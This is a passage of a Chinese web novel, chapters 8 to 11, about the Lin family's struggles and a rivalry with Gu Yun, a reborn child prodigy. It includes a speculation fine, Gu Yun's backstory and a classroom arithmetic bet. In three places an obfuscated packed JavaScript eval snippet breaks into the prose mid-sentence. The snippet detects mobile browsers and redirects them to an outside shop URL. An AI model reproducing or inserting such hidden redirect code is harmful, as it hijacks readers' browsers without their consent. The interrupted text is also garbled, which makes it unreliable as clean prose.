“小妹,上次林家抱着果盘去了工艺街,你说他们是不是也知道这果盘值钱?万一让他们卖个好价钱,那怎么办?” 这事压在顾雨心里好几天,压得他心慌气短,格外焦躁。 一想到林家也会发一笔横财,他心里宛如万箭穿心般痛苦。这么大的便宜,可千万不能让林家给占了,不然比杀了他还难受。 对面的人冷哼一声,“放心吧,他们没有人脉,不一定卖得掉。” 听到顾云发话,顾雨心里稍稍安心,“那就好。” 也是,这年头大家对古董没什么概念,根本不会知道古董的价值,也就他小妹长了一个天才脑子,才认得真货。 林家那帮人拿了古董也不懂估价,说不定哪天被人用几百块买走也不稀奇。 这样想着,顾雨心情开阔起来。 “还有事吗?” 对面公事公办的一句问候让顾雨的心情由晴转阴,有时候他也会怀念那个只懂跟在他屁股后面奶声奶气叫唤哥哥的傻气妹妹。 自打变成天才,这个小妹对家里人的感情莫名淡了些,语气不再亲昵,态度若即若离,愈发猜不透她的想法。 “哦,还有点事要跟你交代一下。”顾雨斟酌着道:“我让顾风在学校把林三满揍了一顿。” 上次林家故意戏耍他,他气不过,发誓要报复。 怎么报复是个难题,他思来想去,让顾风在学校把人揍一顿最稳妥。 林大金和林二玉都不好惹,惹了要生出无限事端,林小堂又太小,只有拿林三满开刀最合适。 而且林三满是林家脾气最怂的一个,欺负他就像一拳打在棉花上,屁事没有。 据说顾风下手挺狠,把人揍地上好几分钟不能动弹,顾雨心里一阵得意,四舍五入,这也算是对林家报复了。 “这就是你的报复?” 对面一句冷冷的质问瞬间浇灭顾雨得意的心理,他有些没底气地回复:“对啊,你也知道顾风那体格,真下手也是挺狠的,他……” “你这算什么报复。” 顾云淡淡哼了一声,“打蛇得打七寸,明白吗?” 平稳的语气从电话那头缓缓传入耳膜,一阵风从外面吹来,顾雨紧捏着话筒,无端打了个惊颤,不寒而栗。 8. 遭人陷害 次日,睡得死死的林小堂被林大金一嗓子吼醒。 迷迷糊糊睁开眼,她后知后觉意识到她该去学校报道了,寒假躺在家里睡懒觉的日子即将一去不复返。 打了个哈欠,从床上爬起来,洗漱完毕,吃过早餐,她背着空书包精神抖擞朝外走。 下了楼道,刚走几米远,迎面而来的两位陌生面孔引起她注意。 两人一身浅灰色制服,帽子正中央刻着帽徽。 看来是公职人员。 公职人员神色严肃地越过她,脚步匆忙地朝着筒子楼奔去。林小堂心里一顿,这是谁家摊上事了? 算了,谁家摊上事都和她没关系,她还要赶着去学校报道呢。 收回目光,林小堂迈着轻快的步伐朝学校方向走去,她背后的书包发出咚咚响声,里面装了两个苹果,她想路过初中时再给她三哥林三满捎去。 上次给他送的苹果应该早吃完了吧,不知道叮嘱他多锻炼身体的话他有没有听见去。 林小堂边走边琢磨着事情,身后一阵由远及近的慌乱脚步她丝毫没有察觉,直到林大金跟着两位公职人员匆忙离开的背影闯入她眼帘。 “大哥?”林小堂震惊。 感情摊上事的是她家? “你去哪儿啊?你为什么跟着他们走?”林小堂迫不及待追上前,扯住自家大哥衣袖,问得急迫:“你犯啥事了?” “不是我犯事。”林大金苦着一张脸,“是你二姐,她被抓了!” 工商局的同志送来的消息太过震撼,林大金内心惶然,一下子慌了神,林二玉在隔壁县被抓,他现在得立刻马上赶往隔壁县! 坐在去往隔壁县的班车上时,他才发现林小堂也跟着过来了,“你怎么也来了,不是要去学校报道吗?” 罢了。 林大金这会儿实在没精力关注这些事,他满脑子都在思考刚才听来的信息,工商局同志透露林二玉是被打投办抓走的,这可不得了。 打投办是打击投机倒把办公室的简称,他二妹被打投办抓了,是不是说明她犯了投机倒把罪? 投机倒把是大罪,前些年还有人被判死刑呢! 虽说改革开放的口号已经喊了一年,但是政策并不十分明朗,很多人抱着谨慎的态度并不敢轻易下海,那些个摆摊的都得偷偷摸摸。 他二妹是个胆子大的,不听劝,非得拿小手工品去隔壁县城做买卖,这下好了,被抓了,不知道要面临什么样的结果。 老天保佑,过世的老爸老妈保佑,可千万别让二妹把命搭进去啊! 这样想着,林大金额头的冷汗不知不觉流了下来。 坐在他旁边的林小堂很懂事的没有问东问西来烦他,只安静地握住他的手,宽慰:“没事的,二姐只是卖些小手工品,不至于有生命危险。” 听到林二玉被抓的消息,林小堂几乎是马上明白前因后果,她二姐拿了小手工品去隔壁县做买卖,出了事大概是这个缘由。 据说70年代的确有因为投机倒把而判死刑的,但现在毕竟已经改开,政策松了些,不至于有生命危险。 “大哥,你振作点,二姐不会有事的。”顶多会罚罚款吧。 小不点的安慰并没有用,林大金一路提心吊胆。 他回想昨天接到二妹的来信,内心泛起一丝苦涩,昨儿还说赚到大钱呢,今天就被抓,唉,世事无常啊。 不知不觉走到工商局门口,林大金惴惴不安挪动步伐,还没进门,一阵嚣张的争吵钻入他耳朵。 “你们凭什么说我投机倒把,我侵吞国有资产了?我贩卖假货了?我生产伪劣产品了?我倒买倒卖走私货物了?我一个都没犯,你们凭什么抓我?” “真正投机倒把的人你们不去抓,专门和咱小老百姓过不去,你们对得起身上这套衣服吗?你们对得起人民的信任吗?” 语气咄咄逼人,气势摧枯拉巧,不用猜,一定是他二妹,林大金赶忙快步走进去。 工商局的大堂里,林二玉叉着腰怒视她面前的工作人员,“我跟你们讲,你们这么做是违规的,我不认,什么处罚都不认,我要上诉,我要告到中央,我就不信没个说理的地方!” “咳咳。”眼看她越说越不像话,工作人员面目严肃地解释:“你的行为存在扰乱市场,破坏经济秩序的危害,定你个投机倒把不算错误。” “哎你……”林二玉一百个不服,张嘴就要争辩,衣袖突然被人扯了一把。 她向旁看去,林小堂不知何时站在她左手边,眨着一双圆溜溜的大眼睛给她使眼色,示意她别争了。 身后的林大金也走过来,揽住她肩膀,沉声劝道:“二妹,你低调点。”哪有和公家对着干的。 骂人也解决不了问题,在办公的大堂里发泄一通,惹了人家不舒服,万一人家抓着不放把事情闹得更严重就糟了。 没料到家人突然出现,林二玉面色一怔,登时忘了反驳,林大金趁着这个当口和工作人员沟通一番,了解到只需要罚款两百就可把人领回去。 搁平时,让林大金掏出两百块无异于将他抽筋扒骨,这会儿他倒是掏得很利索。 来之前他甚至做好要和林二玉生离死别的准备,最后一瞧只用两百块就能息事宁人,不要太划算! 交了罚款办好手续,又听了工作人员一顿教育,林大金拉着林二玉便走。 被林小堂缠着的林二玉和小妹寒暄几句后,一回头瞧见她大哥连罚金都交了,气得不行,撩起袖子就要返回去大闹一场。 眼疾手快的林大金一把将她薅了出去。 “算了算了,破财消灾。” 被架着从工商局出来的林二玉这会儿才咂摸出一丝味儿,她左看看林小堂,右看看林大金,终于明白这大哥小妹唱的是双簧,一个负责缠住她,一个负责解决事。 嘿,被自家人给算计了。 林二玉窝火,“大哥,你以为就破了你那点财吗?我赚的两百多块钱都被没收了!”想想就来气。 她一个兢兢业业、老实本分的小商贩,和投机倒把能扯上什么联系? 买卖点小手工品而已,那些都是她用竹片做的竹蜻蜓玩具,是她本本分分靠双手生产出来的正当东西,怎么就不能卖了? 再说她定价又没高得离谱,才一毛一个,赚的都是辛苦钱,凭什么把她那些辛苦钱都没收啊? 这么一想,林二玉差点气出泪来。 “二姐,你舌战全儒,口渴不渴?”林小堂从书包中掏出一个苹果递过去。 林二玉憋回泪花,接过苹果狠狠大咬一口。 她还真有点渴。 一旁的林大金琢磨出一丝不对劲,“你怎么赚了两百多?” 平时林 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14055009|149159||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二玉出去一趟,顶多能赚十几块钱,她做的那些小手工玩具也卖不出高价,一个卖一毛,十个才一块,一百个也就十块钱,要想赚二百多,那得卖出两千多个。 林二玉绝对没有两千多的货,她怎么赚的? “嗐,别说了,我卖手工玩具的时候被一家玩具店的老板瞧见,他觉得这玩具有市场,想买一批放到店里试试,和我签了字据,先付一半定金。” 那老板挺阔绰,大方付了两百定金,她还以为自己赚大钱的好日子要来临,过了一夜,这钱全赔了。 算上她大哥搭进去的两百,总共损失四百多。也就是说,这趟生意跑下来,一分没赚。 天呐,亏大发了! 林二玉咬牙切齿:“让我查出是哪个黑心肝举报我,我非得扒他一层皮!” “有人举报你?”林大金震惊,“原来你是被人举报的?” “不然嘞,我一向小心,不是被人举报,怎么可能被抓到。”林二玉愤愤不平,“我胡搅蛮缠好一阵子,那帮穿制服的就是不吐露到底是谁举报了我,气死我了,到底是哪个红眼病,嫉妒得都快出血了吧。” “一定是顾家干的!”林大金无比笃定。 顾家那帮人没一个好东西,林家出什么事,肯定和顾家脱不了干系。 “我也觉得,不过……”林二玉咬着苹果思索,“他们应该不知道我在哪儿做买卖吧?” 当初选择去周围县城做买卖,就是为了防止身边那群熟人见她赚了钱眼红,举报她。所以她每次出去基本没和外人透露过,她也觉得是林家干的,但是林家是怎么知道的呢? 一直静静听着没吭声的林小堂突然开了口:“二姐,你去哪儿做买卖没对外人提过?” “是啊。” 那就怪了,林小堂脸色沉下来,千头万绪在晦暗的眼睛里流转。 她也倾向于是顾家从中作梗,可如果她二姐根本没对外透露过行程,顾家人是怎么知道她二姐具体在哪个小县城里做买卖?除非…… 除非顾家也有人和她一样,是穿来的,能提前知道一些事情。 顾家最特殊的人是顾云,如果顾家真有人是穿来的,这人非顾云莫属。 “大哥,顾家以前和咱们家是邻居吧?你是不是看着顾云长大的,能和我聊聊她以前的事吗?” 林大金:? 话题怎么突然扯到顾云身上? 难不成是顾云干的? 不能吧,她才多大。 “咱们家以前和顾家还真是邻居,不过互相不对付,关系极差,至于顾云,也算是看着长大的吧,不过她以前没什么好聊的,小时候她还没你长得可爱呢,说话也晚,看着压根没你机灵。” “也不知道是不是顾家祖上冒青烟,小时候挺普通的孩子,突然间一下子变成天才……” “她什么时候变成天才的?”林小堂打断。 林大金想了想,“大概六岁的时候吧,上小学之前,在幼儿园里突然就变聪明了。” 六岁? 呵,不应该是三岁半吗? 林小堂心里有了确切的猜测。 一旁的林大金还在喋喋不休,“你突然问顾云做什么,这事难道和顾云有关系?” 林小堂没吭声,垂下的眸子晦暗不明。 “放心吧,这笔账一定会讨回来。” 9. 皮下换壳 三人舟车劳顿回到家,林大金立即领着林小堂去学校报道。 回来时,林二玉已经从郊外山上砍来一批竹子,蹲在家里烦躁地劈竹片,边劈边抱怨:“该死的,钱没赚到一分,活儿还要干,亏大了!” 想想心里还是不平衡,哪怕收了之后的尾款两百,和今天交出去的两百罚款一抵消,相当于啥也没赚。 一分钱都没落到兜里,还要把答应的活儿给干完,这能不气吗? 林二玉咬牙切齿:“该死的举报人,我咒他一家都没好下场!” “行了行了,你小声点。”林大金顺手把门合上,压低声音:“你回来的时候没被人察觉吧?” “没有,我哪回不是小心谨慎?连劈完的竹子细屑都打包扔到别的地方去了,不会被人发现的。”林二玉胸有成竹。 站在一旁的林小堂从两人对话中悟出一丝不对劲,她挠挠脑袋,十分不解:“郊区山上的竹子不能砍?那难道也是集体财产?” “那倒不是。”林大金摆摆手,拎起桌上的搪瓷杯灌了一口凉茶,解释:“其实也没个归属,想砍也可以去砍,民不举官不究的,但要被有心人举报,也可以给你按个不小的罪名,还是谨慎点好。” 刚被罚了两百块,回味过来的林大金终于知道肉疼了,家里拢共没多少存款,今天一下掏出两百,元气大伤,他可不想再生出什么事端。 思来想去还是觉得不靠谱,常在河边走,哪有不湿鞋,“要不,二玉你来厂里上班吧。” 他父母当初都是纺织厂的员工,两人意外过世后留下两个顶职名额,可惜林二玉年龄不够,那会儿她才12岁,小学刚读完,不可能接班。 劳动部规定招工年龄是16岁,读完中学的林二玉才15岁,又没到年龄,只得在家闲赋小半年。 “去年年底你过完生日,年龄方面算是达标了,明儿我去跟主任打打招呼。” 打招呼免不得要送点小礼,看来还是要破费啊,林大金叹气一声,琢磨着该去商场买点什么拿得出手不寒酸的礼物。 “厂里有指标了?”林二玉惊讶。 “嗯,年底定下来的,只有一个,俏得很。” 当初林二玉不能接班,厂里也没理由一直给她留着,毕竟单位要正常运转,岗位上不能没人干事,这顶职名额也就白白浪费了,如今想重新进去,只能等招工名额。 年底听说厂里定了一个招工名额,林大金其实没做指望,顾家的老二顾露和林二玉同龄,也差不多到了进厂的年龄,这招工名额十有八九是顾露的。 这阵子顾家的声势挺大,顾云这个天才神童被调到省城最好的学校读书,在这一带传为佳话,厂长还当众夸夸过顾雨,说顾家有福气,出了个会读书的娃娃。 任谁都看得出,只要顾雨开口,顾露进厂是十拿九稳的事情。 不过听说顾露跟着去省城照料顾云的起居生活去了,他顾家出了这么个天才神童,不得捧到手心上?顾家也是父母早亡,只顾露一个女性长辈,另请人照料顾云肯定是不放心的,所以顾露这一去,大概是不会再回来。 这样一来,林二玉就有戏了。 找主任做做工作,给老厂长打打感情牌,念一念以前父母在厂里的种种,想必林二玉进厂是顺水推舟的事情。 林大金觉得这事稳操胜券,痛惜两百块损失的悲伤稍稍缓解,“等会儿我去买两斤茶叶,主任和老厂长都爱喝茶。” “买茶?买茶又要破费。”林二玉不满地嘟囔,手上动作却没停,小刀刮着竹片,动作干脆利索。 林小堂不知不觉蹲到她身边,静静打量被削成长20厘米、宽2厘米的小竹片。 竹蜻蜓的制作难度不大,在小竹片中央钻个孔,将细长的竹柄塞进去就完事了,轻轻搓一搓竹柄,竹蜻蜓就能飞上天。 据说这件古老的民间儿童玩具后来传入欧洲,西方的设计师从中汲取灵感研制出直升机。林小堂来了兴致,也想自己动手做一做。 刚拿起一块小竹片,被林二玉劈手夺去,“干啥呢,离远点,别刺到手。” “竹片细刺多,不小心插到手指里,可有得你受。” 林二玉挥手将小妹赶开,回头接林大金的话:“要不,随便送点东西得了。” “这哪能随便。”林大金白她一眼,揣紧口袋,心事重重地往商场去了。 —— 远在省城的顾露也正为这事苦恼。 她站在房间干净透明的窗户前,失神望着窗外,厨房里炖着的鸡汤热气将锅盖顶得哐哐作响,她丝毫未察觉。 听到动静的顾云起身,去厨房拎开锅盖,往里添了点水,沉着脸走进房间,“二姐,你有心事?” 顾露回过头,满脸写着不愉快,嘴里却说:“没什么,只是你大哥刚才来电,问我要不要回去进厂上班。” “你想回去?”顾云眸子微变。 “我回去了谁照顾你?” 没有否认,那便是想回去,顾云不是小孩子思维,她听得懂背后的意思,眼神骤然变冷。 她和顾家人原本就没什么感情,因为她并不是顾家的小妹顾云,她只是和顾云同名同姓的普通人物而已。 真正的顾云是个天才神童,有着极为辉煌的一生。 从小便显露天赋,9岁被招进少年班,成为少年班年龄最小的成员,也是唯一一位女童。之后参加竞赛无数,每次都荣夺第一,在全国上下造成一次次的轰动。 刚刚改开的年代,国家急需人才,少年班的建立,旨在打破常规,以特殊的方式选拔和培育人才。 人们对优秀教育资源的需求反馈在这些天才儿童身上,加之媒体的渲染,以优异成绩脱颖而出的神童激励无数人,大多数家长做起望子成龙的美梦。 这其中包括普通人顾云的父母。 悲哀的是,天才难得,绝大多数只是普普通通的人,她没有那么高的智商,却要承担父母过高的期望。 父母对她苛刻至极,从小管教甚严。 不允许她与小伙伴玩耍,不允许她有任何兴趣爱好,她所有的时间必须用来读书学习,不能浪费一分一秒。 她母亲常对她说的一句话是,“你要像天才顾云一样。” 像天才顾云一样,参加竞赛拿奖,登上报纸电视,给家庭带来无上荣光。 可她毕竟不是天才顾云。 在这样的高压之下,她养成孤僻内向又缺乏安全感的性格,内心自卑又敏感。 因为她意识到自己只是父母达成目的的学习工具,而小小年纪没有能力养活自己且对亲情有着天生依赖的她,不得不主动配合父母这种变态的期望。 想想后来人生所有的悲剧,都来源于童年的压抑吧。 她最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14055010|149159||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后并没有成为出众的天才,父母在怎么培养也无法将她培养成天才后逐渐对她失望,连带那一丝仅存的亲情也回收。 好像她没成为天才是她故意而为,她该为家里这些年培养她的损失付出沉重代价。 长大后的她木讷又敏感,自卑又脆弱,走在大街上被人无端瞥了一眼都要怀疑自己是不是有什么地方做得不妥,惹了人家嫌弃。 性格原因,没有成家,也难以找到工作,生活潦草困顿。 压垮她的最后一根稻草是她得知她的名字原本不是顾云,她父母希望她变成天才顾云那样的优秀儿童,恰巧又姓顾,两人合伙将她的名字改为顾云。 原来连名字也带着这样令人窒息的功利性。 自那之后,她对父母死了心,却也记恨上天才顾云。 她得找个人来恨,来发泄心中积郁已久的块垒,不然她会疯。 很显然,天才顾云是最佳人选。 自那之后,她开始收集一切关于天才顾云的消息,她看过她所有的报道,对她的人生轨迹了如指掌。 在天才顾云每次取得成就时,她总要私下里暗暗诅咒一顿。 这一诅咒就是一辈子。 可惜的是,人家天才顾云一生过得辉煌灿烂,而她只能贫困潦倒躲在出租屋里阴暗嫉妒别人的光鲜亮丽。 临死前,她带着强烈的不甘与愤恨,用尽最后一丝力气咒骂老天。 为什么人和人之间的差距那么大? 为什么有些人生下来是天才,有些人生下来是蠢才? 既然有人注定生下来做天才,那为什么这个人不是她? 为什么!为什么! 等她再次睁眼,发现自己成了真正的天才顾云。 她带着前世的记忆与学识,重生在这个令她嫉恨一辈子的天才儿童身上。 属于她的天才时代,终于来了。 当天才的滋味真是妙不可言,她享受鲜花与荣誉,享受掌声与追捧,她沉浸其中,不可自拔。 唯一让她苦恼的一点,她不喜欢和顾家人打交道。 上辈子的经历让她冷心冷情,没学会和人真正融洽相处,没学会正确处理亲密关系,顾家的兄弟姐妹对她而言是一种麻烦。 她根本不需要顾露在这里照顾自己,她完全有足够的自理能力,但是……顾露若是真离开,她同样不高兴。 任何不是以她为中心,不是足够重视她的行为都会引得她不高兴。 “二姐,你要是想回去就回去吧,我自己可以照顾自己。” “那哪行,你一个小孩在这里,我们怎么放心?”顾露当即拒绝,“再说了,我也不想回去,只是……” 她顿了顿,“只是我要是不回去,厂里的工作就便宜林二玉了。” 顾露最纠结的一点便是这个。 她不回去倒也没什么,纺织厂那个工作她又不稀罕,只是她要是不回去,那工作肯定被林二玉捡漏。 林二玉从小和她不对付,经常拿言语欺她,她没林二玉那么嘴毒、那么能骂街,这些年很是受了些对方言语上的苦。 让林二玉捡漏可太令人难受了。 “放心吧,她不会捡漏成功。”顾云神色淡淡,却胸有成竹。 比起麻烦的顾家人,那堆讨厌的林家人以及可能和她有同样机遇的林小堂更值得让她先出手对付。 10. 赚点外快 这两天家里赔了罚款,又掏钱备礼,损失惨重,林大金板着一张脸,周身五米全是低气压。 为避免触他霉头,次日林小堂提前起床,乖乖喝完白米粥,一溜烟跑去学校。 正式开学的第一天,班级里甚是热闹,一整个寒假没见面的同学们仿佛存了聊不完的话题,在教室里叽叽喳喳,喧躁得像是麻雀开会。 林小堂跨进来的时候,教室里骤然安静,大家齐齐望向她。 “林小堂?你怎么来了?”挨窗坐着的小胖子男孩惊得直直站起来,眨也不眨盯住教室门口的身影,“你不是留级了吗?” 小胖子不是别人,正是纺织厂老厂长的孙子苏曜文。 苏曜文比同龄人长得高长得壮,又白又嫩,一看家里油水就很足,他一双细眯着的眼狐疑打量林小堂。 “难道……你补考及格了?不可能啊,你是不是作弊了?” “作弊”两个字让林小堂想起班主任陈阳当初无端的揣测,心里腾升一把火。 朝小胖子努努嘴。 “你,小屁孩,出来。” 被叫小屁孩的苏曜文:? “你才小屁孩,你还没我高呢,出来就出来!” 他昂首挺胸走到林小堂面前,以高出一个脑袋的距离俯视着对面的人。 对面的林小堂掀起眼皮,凉凉发问:“谁说我作弊了?” “没人说,我猜的,不然你怎么考及格?”小胖子一脸天真且笃定。 林小堂:“……” “我就不能凭实力考及格?” 噗—— 周围响起此起彼伏的笑声。 站在她面前的苏曜文笑得最厉害,一双本就不大的眼睛被上下两片厚厚的眼皮夹成一道细缝。 “笑什么,你不相信啊,要不咱俩打个赌?” 笑声戛然而止,苏曜文望着她,“好哇,怎么赌?” “你随便出一道数学题,我能答出来算你输,你输了就要……”林小堂停顿着瞥了一眼苏曜文课桌上的罐装牛奶。 这一瓶小小的牛奶一般家庭喝不起。 普通工人月工资才四十块,订购罐装牛奶一个月就得花五块钱,也只有老厂长疼爱孙子,舍得掏这个钱。 林小堂遥遥一指,“你输了就把桌上那小罐牛奶给我。” 望了望桌上那罐揣热的牛奶,苏曜文目光中闪烁着细微的不舍,“那如果你输了呢?” “我输了给你当小狗。” “好!”苏曜文一口答应。 他兴致勃勃翻开新领的数学课本,仔细从后面挑选例题。 旁边一堆见证者也想参与进来,纷纷掏出数学课本凑到苏曜文身边。 “选这道题吧,这些知识咱们还没学过,不信林小堂会做!” “不不不,选这道题,这道题一看就很难,咱们难死她!” …… 林小堂:“……” 小学二年级的课本,能有多难。 众人商议半天,终于达成一致。苏曜文坏笑着把数学课本捧过来,指着一道例题,捂住下面的答案,得意洋洋地说:“我只给你一分钟的时间,要是算不出来,就是你输了。” 对方脸上胜券在握的神情实在太过显眼,有那么一瞬间,林小堂以为对方是捧着哥德巴赫猜想让她验证。 她伸头一瞧,例题写着:876减354等于多少? 林小堂:“……” “522。” 不到三秒回答出来,其中两秒处于无语状态。 听到答案的苏曜文轻轻挪动压在课本上的小胖手指,从缝隙中窥见答案,脸色大变,惊呼:“你怎么知道!” 明明三位数以上的加减法还没学呢! 沉思一秒,苏曜文立即想通:“你是不是看过新课本?” “不行,这不算数,你肯定已经看过新课本,我要自己出题给你算。”苏曜文把课本一扔,双手抱臂望向林小堂,肉嘟嘟的小脸上写满严肃:“你敢不敢接受我的挑战?” 林小堂:“……” “行吧,你出。” “32减18等于多少?” “14。” “27加56等于多少?” “83。” “79加46等于多少?” “125。” …… 苏曜文停了下来,掰着手指头在草稿本上写写画画才把自己出的三道题算出来,他用了好几分钟,而林小堂竟然是秒答。 众人惊呆了! “哇塞,林小堂原来你这么厉害吗?” “林小堂你这个寒假是不是被你大哥送去哪里补习去了?” “太快了吧?我题目都还没听清呢,林小堂就把结果算出来了,她是心算吗?” …… 感受到周围一堆热情吹捧的林小堂面无表情。 在这帮小学生面前逞威风,实在是……毫无成就感! 她望了桌边一眼,朝苏曜文伸出手,“愿赌服输。” 这是讨要胜利品的节奏。苏曜文心知肚明,慢吞吞把桌上放着的一罐小牛奶拿起来,脸上写满不舍。 呜呜呜,这是他当宝贝一样每天都要喝的牛奶,这么拱手让人,心里简直在滴血。 早知道就不赌了,谁能想到林小堂一下子变得这么厉害啊,她上学期数学不是才考两分吗! 苏曜文心里又怒又气,又羞又悔。 鉴于全班同学都作了证,他也不好当众反悔,只得依依不舍把牛奶递过去。 那不忍的表情,仿佛有人从他身上割了一块肉。 林小堂不禁笑了。 这小屁孩,心思都写在脸上了,估计心里在淌血呢。 早料到他不舍得,林小堂就坡下驴:“不给牛奶也行,不过你要答应替我办件事。” 一听可以不给,伸出去一半的牛奶立即被苏曜文收回,他殷勤地拉着林小堂回自己座位,“我还没找好同桌呢,要不你就当我同桌吧。” 他把牛奶小心翼翼塞到课桌里,回头望向林小堂:“你说,让我办什么事啊?” “也不是什么大事。”林小堂压低声音,“就是让你在家的时候多留意你爷爷的话,注意一下他有没有提到厂里招工的事情,有的话,悄悄来告诉我。” 苏曜文狐疑:“你打听这个做什么?” 林小堂也没瞒着:“我二姐想进厂里工作,据说只有一个招工名额,我想知道我二姐有没有机会进去。” “这个啊,那包在我身上!”苏曜文拍拍胸膛,像个小男子汉一样做保证。 话音一落,叮铃叮铃的上课铃声响起。 喧闹的同学们各自回到自己占好的座位上,等待班主任到来。 一分钟后,语文老师走进班级,捧着花名册站在讲台上准备点名。 林小堂纳闷,戳了戳旁边苏曜文的胳膊,小声问道:“陈老师呢?” 一般而言,新学期都是班主任点名查人,今儿这活怎么交给语文老师了? “你不知道吗?”苏曜文反问。 “知道什么?”林小堂心里一惊,“难不成陈老师病了?” “不是啊,陈老师上午要接受记者的采访,没空。” “记者采访?”林小堂不解,“怎么陈老师突然要接受记者采访?” “还能为什么,因为顾云呗。”被撩起八卦心的苏曜文侧过脑袋小声道:“顾云之前不是参加‘小智星杯’了吗,比赛马上要开始了,要是获奖,肯定又要在报纸上大大的报道她的事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14055011|149159||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迹,所以有记者特意来提前采访陈老师。” “其实我也搞不懂,之前不是总有记者过来采访吗?他们这么勤快的过来,该问的不都问完了,哪有这么多可采访的啊?” “可能想挖点新料吧。”林小堂随口接话完,敏锐地从苏曜文语气中察觉出他似乎对顾云印象不太好,“怎么,你讨厌顾云?” “也不是讨厌。”苏曜文神情别扭起来,“只是吧,我爷爷在家里总是夸……” “苏曜文!林小堂!”讲台上一声怒喝成功将苏曜文接下来的话挡回肚子里。 “你俩再在下面讲小话就出去罚站!” 被点名的两人相视一瞥,乖乖闭了嘴。 憋了一节课,等到课后,松了封印的嘴终于重获自由。 林小堂识趣地没有续上之前的话题,只是问道:“除了‘小智星杯’,咱们还有其他什么竞赛吗?” “啊?”苏曜文上下打量她,“难道……你也想去参加竞赛?” “对。” “可是竞赛很难的!”苏曜文劝她,“不要以为你能算几个算数就厉害了,能参加竞赛获奖的都是顾云那样的天才!” 林小堂沉默一会儿,“没关系,我就是不知好歹,想挑战天才。” 苏曜文:“……” “好吧,我们除了‘小智星杯’还有‘智慧杯’。” 林小堂捏着下巴沉思片刻,“‘智慧杯’有奖金吗?” “没有,不过有荣誉证书啊,还有大大的奖状和奖杯,看起来可气派了。” 林小堂摆摆手,毫无兴趣,“还有其他的吗?” “其他的话,还有……”苏曜文摸着脑门想了想,“还有‘群星杯’,这个是比算数的,好像还能适合你。” “那这个……有奖金吗?” 终于意识到不对劲的苏曜文静静盯着林小堂,“你是不是只想参加有奖金的竞赛?” “没错。” 苏曜文:“……” 被利润熏心又无比坦诚的林小堂怼得语塞,苏曜文愣了一会儿才反应过来,“好吧,我们还有‘创造杯’,不是比算数比做题,是比创作比手工比心意。” 还没听完的林小堂直摇头,“不感兴趣。” 苏曜文补充:“一等奖1000块。” “我可以!” 改口之快,令人咋舌。 天呐,一千块钱,在这个年代那是巨款! 靠竞赛挣奖金发家致富的计划也不是行不通! 接下来几天,林小堂一直在打探有关“创造杯”的报名流程、比赛规则等情况,不知不觉捱到周六。 周六下午,吃完午饭后的林小堂刚回到座位,立即被苏曜文薅过去。 苏曜文凑在她耳边小声道:“我今天听到爷爷提招工的事情了,你二姐好像没有希望。” 林小堂一愣,“为什么?” “我也不知道啊。”苏曜文摊摊手,“我还故意装作什么都不懂地问了问我爷爷,我爷爷说这事和小孩没关系,让我别瞎打听。” “是么。”林小堂神情暗下来,心里冒出一股不太好的预感。 下午放学后,她收拾一下桌位下的卫生,迫不及待跑回家,想和大哥二姐商量这件事。 气喘吁吁跑到家门口,一推开门就瞧见她二姐林二玉从厨房薅了一把刀,气势汹汹往外冲。 大哥林大金在后面急得跳脚,“你去哪儿啊!” “我要找厂委理论理论,看看我是哪里不符合招工要求!” 林二玉捏着一把菜刀,神色又凶又狠,这哪是去理论,分明是去干仗的。 “你回来!”林大金连忙追过去。 还没来得及插一句话的林小堂眉心一跳,放下书包,也撒丫子跟着跑。 11. 两个戏精 狭窄的筒子楼两侧,很多听到动静的邻居探出脑袋来观望。 逮着跑在最后的林小堂追问:“小堂,你二姐咋的了?” “我不知道!”知道也不会说。 林小堂丢下这句话,撒丫子跑到筒子楼下,前方,她大哥林大金正在拼命和她二姐林二玉起争执。 那把捏在手中的菜刀被争夺后灵活在两人身边甩来甩去,看得林小堂心惊肉跳。 万一一个不长眼,割到了肉见了血可咋办哦。 真吓人。 争执中的两人仿佛丝毫没意识到这种危险,固执地表达各自意见:“有事咱回家好好说,你别摆出这种架势,别让人瞧咱们的笑话,快,把刀拿来,回家。” “瞧笑话就瞧笑话呗,我管他呢,反正今天我讨不到一个说法我誓不罢休!” “二玉,你别这样,厂里招工都有招工的标准和流程,没招用你肯定是有理由的,你别意气用事,伤了人就不好了。” “大哥你别管我!我就是去找他们理论理论而已,又不会伤人!” “那好,你先把刀给我。” “不给!” …… 两人咆哮的声音之大,惹得筒子楼的邻居纷纷探头朝下张望。 瞧见围观者越来越多,林二玉愈发来劲,嗓门扯得比之前还高,嘴里一个劲地嚷嚷要讨说法。 “我哪里不符合用人标准了?我哪里不够格?” “我看根本是小鬼绊路,我今天就要去会会小鬼。” “不给我个正当说法,我誓不罢休!” 